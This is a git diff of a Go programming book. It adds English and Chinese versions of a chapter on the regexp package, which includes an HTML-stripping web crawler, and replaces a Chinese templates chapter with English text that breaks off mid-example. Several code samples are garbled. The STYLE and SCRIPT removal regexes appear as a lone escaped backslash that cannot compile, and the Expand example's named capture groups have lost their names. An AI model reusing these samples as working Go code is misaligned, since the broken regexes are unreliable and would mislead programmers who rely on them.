package main + + import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" + ) + + func main() { + resp, err := http.Get("http://www.baidu.com") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return + } + + src := string(body) + + // Convert HTML tags to lower case. + re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllStringFunc(src, strings.ToLower) + + // Remove STYLE. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + // Remove SCRIPT. + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + // Remove all HTML code in angle brackets, and replace with newline. + re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllString(src, "\n") + + // Remove continuous newline. + re, _ = regexp.Compile("\\s{2,}") + src = re.ReplaceAllString(src, "\n") + + fmt.Println(strings.TrimSpace(src)) + } + +In this example, we use Compile as the first step for complex mode. It verifies that your Regex syntax is correct, then returns a `Regexp` for parsing content in other operations. + +Here are some functions to parse your Regexp syntax: + + func Compile(expr string) (*Regexp, error) + func CompilePOSIX(expr string) (*Regexp, error) + func MustCompile(str string) *Regexp + func MustCompilePOSIX(str string) *Regexp + +The difference between `ComplePOSIX` and `Compile` is that the former has to use POSIX syntax which is leftmost longest search, and the latter is only leftmost search. For instance, for Regexp `[a-z]{2,4}` and content `"aa09aaa88aaaa"`, `CompilePOSIX` returns `aaaa` but `Compile` returns `aa`. `Must` prefix means panic when the Regexp syntax is not correct, returning error otherwise. + +Now that we know how to create a new Regexp, let's see what how the methods provided by this struct can help us to operate on content: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllString(s string, n int) []string + func (re *Regexp) FindAllStringIndex(s string, n int) [][]int + func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string + func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) + func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int + func (re *Regexp) FindString(s string) string + func (re *Regexp) FindStringIndex(s string) (loc []int) + func (re *Regexp) FindStringSubmatch(s string) []string + func (re *Regexp) FindStringSubmatchIndex(s string) []int + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +These 18 methods include identical functions for different input sources (byte slice, string and io.RuneReader), so we can really simplify this list by ignoring input sources as follows: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +Code sample: + + package main + + import ( + "fmt" + "regexp" + ) + + func main() { + a := "I am learning Go language" + + re, _ := regexp.Compile("[a-z]{2,4}") + + // Find the first match. + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) + + // Find all matches and save to a slice, n less than 0 means return all matches, indicates length of slice if it's greater than 0. + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) + + // Find index of first match, start and end position. + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) + + // Find index of all matches, the n does same job as above. + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) + + re2, _ := regexp.Compile("am(.*)lang(.*)") + + // Find first submatch and return array, the first element contains all elements, the second element contains the result of first (), the third element contains the result of second (). + // Output: + // the first element: "am learning Go language" + // the second element: " learning Go ", notice spaces will be outputed as well. + // the third element: "uage" + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) + } + + // Same thing like FindIndex(). + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) + + // FindAllSubmatch, find all submatches. + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) + + // FindAllSubmatchIndex,find index of all submatches. + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) + } + +As we've previously introduced, Regexp also has 3 methods for matching. They do the exact same things as the exported functions. In fact, those exported functions actually call these methods under the hood: + + func (re *Regexp) Match(b []byte) bool + func (re *Regexp) MatchReader(r io.RuneReader) bool + func (re *Regexp) MatchString(s string) bool + +Next, let's see how to replace strings using Regexp: + + func (re *Regexp) ReplaceAll(src, repl []byte) []byte + func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte + func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte + func (re *Regexp) ReplaceAllLiteralString(src, repl string) string + func (re *Regexp) ReplaceAllString(src, repl string) string + func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string + +These are used in the crawling example, so we don't explain more here. + +Let's take a look at the definition of `Expand`: + + func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte + func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte + +So how do we use `Expand`? + + func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) + } + fmt.Println(string(res)) + } + +At this point, you've learned the whole `regexp` package in Go. I hope that you can understand more by studying examples of key methods, so that you can do something interesting on your own. + +## Links + +- [Directory](preface.md) +- Previous section: [JSON](07.2.md) +- Next section: [Templates](07.4.md) diff --git a/en/07.3.md~380a8ee74c41759d8189ad553423467994187253 b/en/07.3.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..db55d633 --- /dev/null +++ b/en/07.3.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,237 @@ +# 7.3 正则处理 +正则表达式是一种进行模式匹配和文本操纵的复杂而又强大的工具。虽然正则表达式比纯粹的文本匹配效率低,但是它却更灵活。按照它的语法规则,随需构造出的匹配模式就能够从原始文本中筛选出几乎任何你想要得到的字符组合。如果你在Web开发中需要从一些文本数据源中获取数据,那么你只需要按照它的语法规则,随需构造出正确的模式字符串就能够从原数据源提取出有意义的文本信息。 + +Go语言通过`regexp`标准包为正则表达式提供了官方支持,如果你已经使用过其他编程语言提供的正则相关功能,那么你应该对Go语言版本的不会太陌生,但是它们之间也有一些小的差异,因为Go实现的是RE2标准,除了\C,详细的语法描述参考:`http://code.google.com/p/re2/wiki/Syntax` + +其实字符串处理我们可以使用`strings`包来进行搜索(Contains、Index)、替换(Replace)和解析(Split、Join)等操作,但是这些都是简单的字符串操作,他们的搜索都是大小写敏感,而且固定的字符串,如果我们需要匹配可变的那种就没办法实现了,当然如果`strings`包能解决你的问题,那么就尽量使用它来解决。因为他们足够简单、而且性能和可读性都会比正则好。 + +如果你还记得,在前面表单验证的小节里,我们已经接触过正则处理,在那里我们利用了它来验证输入的信息是否满足某些预设的条件。在使用中需要注意的一点就是:所有的字符都是UTF-8编码的。接下来让我们更加深入的来学习Go语言的`regexp`包相关知识吧。 + +## 通过正则判断是否匹配 +`regexp`包中含有三个函数用来判断是否匹配,如果匹配返回true,否则返回false + + func Match(pattern string, b []byte) (matched bool, error error) + func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) + func MatchString(pattern string, s string) (matched bool, error error) + +上面的三个函数实现了同一个功能,就是判断`pattern`是否和输入源匹配,匹配的话就返回true,如果解析正则出错则返回error。三个函数的输入源分别是byte slice、RuneReader和string。 + +如果要验证一个输入是不是IP地址,那么如何来判断呢?请看如下实现 + + func IsIP(ip string) (b bool) { + if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { + return false + } + return true + } + +可以看到,`regexp`的pattern和我们平常使用的正则一模一样。再来看一个例子:当用户输入一个字符串,我们想知道是不是一次合法的输入: + + func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("数字") + } else { + fmt.Println("不是数字") + } + } + +在上面的两个小例子中,我们采用了Match(Reader|String)来判断一些字符串是否符合我们的描述需求,它们使用起来非常方便。 + +## 通过正则获取内容 +Match模式只能用来对字符串的判断,而无法截取字符串的一部分、过滤字符串、或者提取出符合条件的一批字符串。如果想要满足这些需求,那就需要使用正则表达式的复杂模式。 + +我们经常需要一些爬虫程序,下面就以爬虫为例来说明如何使用正则来过滤或截取抓取到的数据: + + package main + + import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" + ) + + func main() { + resp, err := http.Get("http://www.baidu.com") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return + } + + src := string(body) + + //将HTML标签全转换成小写 + re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllStringFunc(src, strings.ToLower) + + //去除STYLE + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + //去除SCRIPT + re, _ = regexp.Compile("\\") + src = re.ReplaceAllString(src, "") + + //去除所有尖括号内的HTML代码,并换成换行符 + re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") + src = re.ReplaceAllString(src, "\n") + + //去除连续的换行符 + re, _ = regexp.Compile("\\s{2,}") + src = re.ReplaceAllString(src, "\n") + + fmt.Println(strings.TrimSpace(src)) + } + +从这个示例可以看出,使用复杂的正则首先是Compile,它会解析正则表达式是否合法,如果正确,那么就会返回一个Regexp,然后就可以利用返回的Regexp在任意的字符串上面执行需要的操作。 + +解析正则表达式的有如下几个方法: + + func Compile(expr string) (*Regexp, error) + func CompilePOSIX(expr string) (*Regexp, error) + func MustCompile(str string) *Regexp + func MustCompilePOSIX(str string) *Regexp + +CompilePOSIX和Compile的不同点在于POSIX必须使用POSIX语法,它使用最左最长方式搜索,而Compile是采用的则只采用最左方式搜索(例如[a-z]{2,4}这样一个正则表达式,应用于"aa09aaa88aaaa"这个文本串时,CompilePOSIX返回了aaaa,而Compile的返回的是aa)。前缀有Must的函数表示,在解析正则语法的时候,如果匹配模式串不满足正确的语法则直接panic,而不加Must的则只是返回错误。 + +在了解了如何新建一个Regexp之后,我们再来看一下这个struct提供了哪些方法来辅助我们操作字符串,首先我们来看下面这些用来搜索的函数: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllString(s string, n int) []string + func (re *Regexp) FindAllStringIndex(s string, n int) [][]int + func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string + func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) + func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int + func (re *Regexp) FindString(s string) string + func (re *Regexp) FindStringIndex(s string) (loc []int) + func (re *Regexp) FindStringSubmatch(s string) []string + func (re *Regexp) FindStringSubmatchIndex(s string) []int + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +上面这18个函数我们根据输入源(byte slice、string和io.RuneReader)不同还可以继续简化成如下几个,其他的只是输入源不一样,其他功能基本是一样的: + + func (re *Regexp) Find(b []byte) []byte + func (re *Regexp) FindAll(b []byte, n int) [][]byte + func (re *Regexp) FindAllIndex(b []byte, n int) [][]int + func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte + func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int + func (re *Regexp) FindIndex(b []byte) (loc []int) + func (re *Regexp) FindSubmatch(b []byte) [][]byte + func (re *Regexp) FindSubmatchIndex(b []byte) []int + +对于这些函数的使用我们来看下面这个例子 + + package main + + import ( + "fmt" + "regexp" + ) + + func main() { + a := "I am learning Go language" + + re, _ := regexp.Compile("[a-z]{2,4}") + + //查找符合正则的第一个 + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) + + //查找符合正则的所有slice,n小于0表示返回全部符合的字符串,不然就是返回指定的长度 + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) + + //查找符合条件的index位置,开始位置和结束位置 + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) + + //查找符合条件的所有的index位置,n同上 + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) + + re2, _ := regexp.Compile("am(.*)lang(.*)") + + //查找Submatch,返回数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的 + //下面的输出第一个元素是"am learning Go language" + //第二个元素是" learning Go ",注意包含空格的输出 + //第三个元素是"uage" + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) + } + + //定义和上面的FindIndex一样 + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) + + //FindAllSubmatch,查找所有符合条件的子匹配 + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) + + //FindAllSubmatchIndex,查找所有字匹配的index + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) + } + +前面介绍过匹配函数,Regexp也定义了三个函数,它们和同名的外部函数功能一模一样,其实外部函数就是调用了这Regexp的三个函数来实现的: + + func (re *Regexp) Match(b []byte) bool + func (re *Regexp) MatchReader(r io.RuneReader) bool + func (re *Regexp) MatchString(s string) bool + +接下里让我们来了解替换函数是怎么操作的? + + func (re *Regexp) ReplaceAll(src, repl []byte) []byte + func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte + func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte + func (re *Regexp) ReplaceAllLiteralString(src, repl string) string + func (re *Regexp) ReplaceAllString(src, repl string) string + func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string + +这些替换函数我们在上面的抓网页的例子有详细应用示例, + +接下来我们看一下Expand的解释: + + func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte + func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte + +那么这个Expand到底用来干嘛的呢?请看下面的例子: + + func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) + } + fmt.Println(string(res)) + } + +至此我们已经全部介绍完Go语言的`regexp`包,通过对它的主要函数介绍及演示,相信大家应该能够通过Go语言的正则包进行一些基本的正则的操作了。 + + +## links + * [目录]() + * 上一节: [Json处理](<07.2.md>) + * 下一节: [模板处理](<07.4.md>) diff --git a/en/07.4.md b/en/07.4.md index ed56b1b1..36236ddb 100644 --- a/en/07.4.md +++ b/en/07.4.md @@ -1,350 +1,367 @@ -# 7.4 模板处理 -## 什么是模板 -你一定听说过一种叫做MVC的设计模式,Model处理数据,View展现结果,Controller控制用户的请求,至于View层的处理,在很多动态语言里面都是通过在静态HTML中插入动态语言生成的数据,例如JSP中通过插入`<%=....=%>`,PHP中通过插入``来实现的。 - -通过下面这个图可以说明模板的机制 - -![](images/7.4.template.png?raw=true) - -图7.1 模板机制图 - -Web应用反馈给客户端的信息中的大部分内容是静态的,不变的,而另外少部分是根据用户的请求来动态生成的,例如要显示用户的访问记录列表。用户之间只有记录数据是不同的,而列表的样式则是固定的,此时采用模板可以复用很多静态代码。 - -## Go模板使用 -在Go语言中,我们使用`template`包来进行模板处理,使用类似`Parse`、`ParseFile`、`Execute`等方法从文件或者字符串加载模板,然后执行类似上面图片展示的模板的merge操作。请看下面的例子: - - func handler(w http.ResponseWriter, r *http.Request) { - t := template.New("some template") //创建一个模板 - t, _ = t.ParseFiles("tmpl/welcome.html", nil) //解析模板文件 - user := GetUser() //获取当前用户信息 - t.Execute(w, user) //执行模板的merger操作 - } - -通过上面的例子我们可以看到Go语言的模板操作非常的简单方便,和其他语言的模板处理类似,都是先获取数据,然后渲染数据。 - -为了演示和测试代码的方便,我们在接下来的例子中采用如下格式的代码 - -- 使用Parse代替ParseFiles,因为Parse可以直接测试一个字符串,而不需要额外的文件 -- 不使用handler来写演示代码,而是每个测试一个main,方便测试 -- 使用`os.Stdout`代替`http.ResponseWriter`,因为`os.Stdout`实现了`io.Writer`接口 - -## 模板中如何插入数据? -上面我们演示了如何解析并渲染模板,接下来让我们来更加详细的了解如何把数据渲染出来。一个模板都是应用在一个Go的对象之上,Go对象的字段如何插入到模板中呢? - -### 字段操作 -Go语言的模板通过`{{}}`来包含需要在渲染时被替换的字段,`{{.}}`表示当前的对象,这和Java或者C++中的this类似,如果要访问当前对象的字段通过`{{.FieldName}}`,但是需要注意一点:这个字段必须是导出的(字段首字母必须是大写的),否则在渲染的时候就会报错,请看下面的这个例子: - - package main - - import ( - "html/template" - "os" - ) - - type Person struct { - UserName string - } - - func main() { - t := template.New("fieldname example") - t, _ = t.Parse("hello {{.UserName}}!") - p := Person{UserName: "Astaxie"} - t.Execute(os.Stdout, p) - } - -上面的代码我们可以正确的输出`hello Astaxie`,但是如果我们稍微修改一下代码,在模板中含有了未导出的字段,那么就会报错 - - type Person struct { - UserName string - email string //未导出的字段,首字母是小写的 - } - - t, _ = t.Parse("hello {{.UserName}}! {{.email}}") - -上面的代码就会报错,因为我们调用了一个未导出的字段,但是如果我们调用了一个不存在的字段是不会报错的,而是输出为空。 - -如果模板中输出`{{.}}`,这个一般应用于字符串对象,默认会调用fmt包输出字符串的内容。 - -### 输出嵌套字段内容 -上面我们例子展示了如何针对一个对象的字段输出,那么如果字段里面还有对象,如何来循环的输出这些内容呢?我们可以使用`{{with …}}…{{end}}`和`{{range …}}{{end}}`来进行数据的输出。 - -- {{range}} 这个和Go语法里面的range类似,循环操作数据 -- {{with}}操作是指当前对象的值,类似上下文的概念 - -详细的使用请看下面的例子: - - package main - - import ( - "html/template" - "os" - ) - - type Friend struct { - Fname string - } - - type Person struct { - UserName string - Emails []string - Friends []*Friend - } - - func main() { - f1 := Friend{Fname: "minux.ma"} - f2 := Friend{Fname: "xushiwei"} - t := template.New("fieldname example") - t, _ = t.Parse(`hello {{.UserName}}! - {{range .Emails}} - an email {{.}} - {{end}} - {{with .Friends}} - {{range .}} - my friend name is {{.Fname}} - {{end}} - {{end}} - `) - p := Person{UserName: "Astaxie", - Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, - Friends: []*Friend{&f1, &f2}} - t.Execute(os.Stdout, p) - } - -### 条件处理 -在Go模板里面如果需要进行条件判断,那么我们可以使用和Go语言的`if-else`语法类似的方式来处理,如果pipeline为空,那么if就认为是false,下面的例子展示了如何使用`if-else`语法: - - package main - - import ( - "os" - "text/template" - ) - - func main() { - tEmpty := template.New("template test") - tEmpty = template.Must(tEmpty.Parse("空 pipeline if demo: {{if ``}} 不会输出. {{end}}\n")) - tEmpty.Execute(os.Stdout, nil) - - tWithValue := template.New("template test") - tWithValue = template.Must(tWithValue.Parse("不为空的 pipeline if demo: {{if `anything`}} 我有内容,我会输出. {{end}}\n")) - tWithValue.Execute(os.Stdout, nil) - - tIfElse := template.New("template test") - tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if部分 {{else}} else部分.{{end}}\n")) - tIfElse.Execute(os.Stdout, nil) - } - -通过上面的演示代码我们知道`if-else`语法相当的简单,在使用过程中很容易集成到我们的模板代码中。 - -> 注意:if里面无法使用条件判断,例如.Mail=="astaxie@gmail.com",这样的判断是不正确的,if里面只能是bool值 - -### pipelines -Unix用户已经很熟悉什么是`pipe`了,`ls | grep "beego"`类似这样的语法你是不是经常使用,过滤当前目录下面的文件,显示含有"beego"的数据,表达的意思就是前面的输出可以当做后面的输入,最后显示我们想要的数据,而Go语言模板最强大的一点就是支持pipe数据,在Go语言里面任何`{{}}`里面的都是pipelines数据,例如我们上面输出的email里面如果还有一些可能引起XSS注入的,那么我们如何来进行转化呢? - - {{. | html}} - -在email输出的地方我们可以采用如上方式可以把输出全部转化html的实体,上面的这种方式和我们平常写Unix的方式是不是一模一样,操作起来相当的简便,调用其他的函数也是类似的方式。 - -### 模板变量 -有时候,我们在模板使用过程中需要定义一些局部变量,我们可以在一些操作中申明局部变量,例如`with``range``if`过程中申明局部变量,这个变量的作用域是`{{end}}`之前,Go语言通过申明的局部变量格式如下所示: - - $variable := pipeline - -详细的例子看下面的: - - {{with $x := "output" | printf "%q"}}{{$x}}{{end}} - {{with $x := "output"}}{{printf "%q" $x}}{{end}} - {{with $x := "output"}}{{$x | printf "%q"}}{{end}} -### 模板函数 -模板在输出对象的字段值时,采用了`fmt`包把对象转化成了字符串。但是有时候我们的需求可能不是这样的,例如有时候我们为了防止垃圾邮件发送者通过采集网页的方式来发送给我们的邮箱信息,我们希望把`@`替换成`at`例如:`astaxie at beego.me`,如果要实现这样的功能,我们就需要自定义函数来做这个功能。 - -每一个模板函数都有一个唯一值的名字,然后与一个Go函数关联,通过如下的方式来关联 - - type FuncMap map[string]interface{} - -例如,如果我们想要的email函数的模板函数名是`emailDeal`,它关联的Go函数名称是`EmailDealWith`,那么我们可以通过下面的方式来注册这个函数 - - t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) - -`EmailDealWith`这个函数的参数和返回值定义如下: - - func EmailDealWith(args …interface{}) string - -我们来看下面的实现例子: - - package main - - import ( - "fmt" - "html/template" - "os" - "strings" - ) - - type Friend struct { - Fname string - } - - type Person struct { - UserName string - Emails []string - Friends []*Friend - } - - func EmailDealWith(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - // find the @ symbol - substrs := strings.Split(s, "@") - if len(substrs) != 2 { - return s - } - // replace the @ by " at " - return (substrs[0] + " at " + substrs[1]) - } - - func main() { - f1 := Friend{Fname: "minux.ma"} - f2 := Friend{Fname: "xushiwei"} - t := template.New("fieldname example") - t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) - t, _ = t.Parse(`hello {{.UserName}}! - {{range .Emails}} - an emails {{.|emailDeal}} - {{end}} - {{with .Friends}} - {{range .}} - my friend name is {{.Fname}} - {{end}} - {{end}} - `) - p := Person{UserName: "Astaxie", - Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, - Friends: []*Friend{&f1, &f2}} - t.Execute(os.Stdout, p) - } - - -上面演示了如何自定义函数,其实,在模板包内部已经有内置的实现函数,下面代码截取自模板包里面 - - var builtins = FuncMap{ - "and": and, - "call": call, - "html": HTMLEscaper, - "index": index, - "js": JSEscaper, - "len": length, - "not": not, - "or": or, - "print": fmt.Sprint, - "printf": fmt.Sprintf, - "println": fmt.Sprintln, - "urlquery": URLQueryEscaper, - } - - -## Must操作 -模板包里面有一个函数`Must`,它的作用是检测模板是否正确,例如大括号是否匹配,注释是否正确的关闭,变量是否正确的书写。接下来我们演示一个例子,用Must来判断模板是否正确: - - package main - - import ( - "fmt" - "text/template" - ) - - func main() { - tOk := template.New("first") - template.Must(tOk.Parse(" some static text /* and a comment */")) - fmt.Println("The first one parsed OK.") - - template.Must(template.New("second").Parse("some static text {{ .Name }}")) - fmt.Println("The second one parsed OK.") - - fmt.Println("The next one ought to fail.") - tErr := template.New("check parse error with Must") - template.Must(tErr.Parse(" some static text {{ .Name }")) - } - -将输出如下内容 - - The first one parsed OK. - The second one parsed OK. - The next one ought to fail. - panic: template: check parse error with Must:1: unexpected "}" in command - -## 嵌套模板 -我们平常开发Web应用的时候,经常会遇到一些模板有些部分是固定不变的,然后可以抽取出来作为一个独立的部分,例如一个博客的头部和尾部是不变的,而唯一改变的是中间的内容部分。所以我们可以定义成`header`、`content`、`footer`三个部分。Go语言中通过如下的语法来申明 - - {{define "子模板名称"}}内容{{end}} - -通过如下方式来调用: - - {{template "子模板名称"}} - -接下来我们演示如何使用嵌套模板,我们定义三个文件,`header.tmpl`、`content.tmpl`、`footer.tmpl`文件,里面的内容如下 - - //header.tmpl - {{define "header"}} - - - 演示信息 - - - {{end}} - - //content.tmpl - {{define "content"}} - {{template "header"}} -

演示嵌套

-
    -
  • 嵌套使用define定义子模板
  • -
  • 调用使用template
  • -
- {{template "footer"}} - {{end}} - - //footer.tmpl - {{define "footer"}} - - - {{end}} - -演示代码如下: - - package main - - import ( - "fmt" - "os" - "text/template" - ) - - func main() { - s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") - s1.ExecuteTemplate(os.Stdout, "header", nil) - fmt.Println() - s1.ExecuteTemplate(os.Stdout, "content", nil) - fmt.Println() - s1.ExecuteTemplate(os.Stdout, "footer", nil) - fmt.Println() - s1.Execute(os.Stdout, nil) - } - -通过上面的例子我们可以看到通过`template.ParseFiles`把所有的嵌套模板全部解析到模板里面,其实每一个定义的{{define}}都是一个独立的模板,他们相互独立,是并行存在的关系,内部其实存储的是类似map的一种关系(key是模板的名称,value是模板的内容),然后我们通过`ExecuteTemplate`来执行相应的子模板内容,我们可以看到header、footer都是相对独立的,都能输出内容,content 中因为嵌套了header和footer的内容,就会同时输出三个的内容。但是当我们执行`s1.Execute`,没有任何的输出,因为在默认的情况下没有默认的子模板,所以不会输出任何的东西。 - ->同一个集合类的模板是互相知晓的,如果同一模板被多个集合使用,则它需要在多个集合中分别解析 - -## 总结 -通过上面对模板的详细介绍,我们了解了如何把动态数据与模板融合:如何输出循环数据、如何自定义函数、如何嵌套模板等等。通过模板技术的应用,我们可以完成MVC模式中V的处理,接下来的章节我们将介绍如何来处理M和C。 - -## links - * [目录]() - * 上一节: [正则处理](<07.3.md>) - * 下一节: [文件操作](<07.5.md>) +# 7.4 Templates + +## What is a template? + +Hopefully you're aware of the MVC (Model, View, Controller) design model, where models process data, views show the results and finally, controllers handle user requests. For views, many dynamic languages generate data by writing code in static HTML files. For instance, JSP is implemented by inserting `<%=....=%>`, PHP by inserting ``, etc. + +The following demonstrates the template mechanism: +![](images/7.4.template.png?raw=true) + +Figure 7.1 Template mechanism + +Most of the content that web applications respond to clients with is static, and the dynamic parts are usually very small. For example, if you need to show a list users who have visited a page, only the user name would be dynamic. The style of the list remains the same. As you can see, templates are useful for reusing static content. + +## Templating in Go + +In Go, we have the `template` package to help handle templates. We can use functions like `Parse`, `ParseFile` and `Execute` to load templates from plain text or files, then evaluate the dynamic parts, like in figure 7.1. + +Example: + + func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") // Create a template. + t, _ = t.ParseFiles("tmpl/welcome.html", nil) // Parse template file. + user := GetUser() // Get current user infomration. + t.Execute(w, user) // merge. + } + +As you can see, it's very easy to use, load and render data in templates in Go, just like in other programming languages. + +For the sake of convenience, we will use the following rules in our examples: + +- Use `Parse` to replace `ParseFiles` because `Parse` can test content directly from strings, so we don't need any extra files. +- Use `main` for every example and do not use `handler`. +- Use `os.Stdout` to replace `http.ResponseWriter` since `os.Stdout` also implements the `io.Writer` interface. + +## Inserting data into a template + +We've just showed you how to parse and render templates. Let's take it one step further and render data to our templates. Every template is an object in Go, so how do we insert fields to templates? + +### Fields + +In Go, Every field that you intend to be rendered within a template should be put inside of `{{}}`. `{{.}}` is shorthand for the current object, which is similar to its Java or C++ counterpart. If you want to access the fields of the current object, you should use `{{.FieldName}}`. Notice that only exported fields can be accessed in templates. Here is an example: + + package main + + import ( + "html/template" + "os" + ) + + type Person struct { + UserName string + } + + func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) + } + +The above example outputs `hello Astaxie` correctly, but if we modify our struct a little bit, the following error emerges: + + type Person struct { + UserName string + email string // Field is not exported. + } + + t, _ = t.Parse("hello {{.UserName}}! {{.email}}") + +This part of the code will not be compiled because we try to access a field that has not been exported. However, if we try to use a field that does not exist, Go simply outputs an empty string instead of an error. + +If you print `{{.}}` in a template, Go outputs formatted string of this object, calling `fmt` under the covers. + +### Nested fields + +We know how to output a field now. What if the field is an object, and it also has its own fields? How do we print them all in one loop? We can use `{{with …}}…{{end}}` and `{{range …}}{{end}}` for exactly that. + +- `{{range}}` just like range in Go. +- `{{with}}` lets you write the same object name once and use `.` as shorthand for it ( ***Similar to `with` in VB*** ). + +More examples: + + package main + + import ( + "html/template" + "os" + ) + + type Friend struct { + Fname string + } + + type Person struct { + UserName string + Emails []string + Friends []*Friend + } + + func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: 